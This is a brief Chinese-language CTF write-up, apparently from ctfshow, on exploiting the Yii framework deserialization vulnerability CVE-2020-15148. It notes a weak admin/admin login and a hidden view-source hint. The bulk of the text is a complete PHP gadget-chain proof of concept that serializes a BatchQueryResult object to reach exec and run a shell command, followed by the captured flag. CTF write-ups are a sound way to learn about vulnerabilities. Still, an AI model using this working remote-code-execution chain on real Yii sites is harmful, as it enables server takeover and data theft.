PHP/7.3.11框架审计CVE-2020-15148Yii登录前
弱密码 admin/admin 登录
about 页面有个 <!--?view-source -->
提示
可以通过 index.php?r=site%2Fabout&view-source
查看提示
这是 Yii 的路由规则,传送门 ,咋知道的 Yii?通过 burp 抓包记录看到很多 yii.js php 搜了下 (
框架反序列化漏洞,网上应该可以搜到,一个不错的复现和挖掘文章,传送门
poc
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'exec';
$this->id = 'cp /fla* tari.txt';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction, 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
flag
ctfshow{438357ca-1233-4742-b986-f8672d27a08b}